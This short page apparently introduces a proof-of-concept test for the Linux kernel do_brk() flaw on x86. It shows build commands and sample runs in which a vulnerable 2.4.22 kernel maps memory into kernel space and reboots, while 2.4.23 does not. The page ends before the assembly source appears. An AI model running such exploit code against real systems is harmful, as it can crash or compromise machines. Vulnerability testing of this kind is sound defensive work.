Linux kernel do_brk() proof-of-concept exploit code



Linux kernel do_brk() proof-of-concept exploit code



The following program can be used to test if a x86 Linux system
is vulnerable to the do_brk() exploit; use at your own risk.

$ nasm brk_poc.asm -o a.out
$ chmod 755 a.out

$ uname -a
Linux test3 2.4.22-10mdk #1 Thu Sep 18 12:30:58 CEST 2003 i686 unknown unknown GNU/Linux
$ ./a.out &
[1] 1698
$ cat /proc/`pidof a.out`/maps
bffff000-c0000000 rwxp 00000000 03:03 376860     /tmp/a.out
c0000000-c0003000 rwxp 00000000 00:00 0

(system reboots when the program exits)

$ uname -a
Linux test3 2.4.23 #1 Mon Dec 1 22:18:25 CET 2003 i686 unknown unknown GNU/Linux
$ ./a.out &
[1] 1591
$ cat /proc/`pidof a.out`/maps
bffff000-c0000000 rwxp 00000000 03:03 376860     /tmp/a.out

(the program exits gracefully)

$ cat brk_poc.asm
